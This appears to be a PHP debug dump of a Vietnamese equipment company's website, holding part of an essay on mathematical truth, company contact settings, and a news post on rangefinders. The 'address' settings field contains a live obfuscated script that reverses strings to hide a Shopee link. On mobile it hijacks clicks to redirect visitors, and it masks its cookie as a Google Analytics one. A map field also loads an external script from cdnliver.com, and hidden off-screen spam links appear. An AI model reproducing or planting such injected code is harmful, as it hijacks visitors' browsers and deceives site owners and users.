quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 